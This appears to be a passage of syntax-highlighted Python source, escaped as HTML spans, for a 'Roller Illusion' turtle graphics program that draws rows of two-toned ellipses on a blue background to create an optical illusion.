&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;tracer(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;Roller Illusion - #python4fun&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;speed(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# parametric equation to draw ellipses&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;ellipse&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(cx,cy,a,b,c1,c2,c3):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;t&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cx&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;cos(t)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cy&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sin(t)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pencolor(c1)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fillcolor(c3)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;begin_fill()&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(n&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cx&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;cos(t)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cy&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sin(t)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,y)&lt;/span&gt;    
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;t&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;n&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pencolor(c2)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(n&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cx&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;cos(t)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;cy&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sin(t)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(x,y)&lt;/span&gt;    
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;t&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pi&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;n&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;end_fill()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;rolling_column&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,size):&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;ellipse(x,y,size,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;35&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;white&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;black&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;dark orange&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
        
&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;rolling_column2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(x,size):&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2;&quot;&gt;ellipse(x,y,size,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;35&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;black&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;white&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;dark orange&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;rolling&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;450&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;410&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;360&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;300&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;240&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;190&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;150&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;130&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;90&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;130&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column2(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;170&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;190&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;230&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;280&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;340&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;19&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;450&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling_column(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;490&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;color(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;steel blue&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;begin_fill()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;90&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;end_fill()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;pensize(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;rolling()&lt;/span&gt;
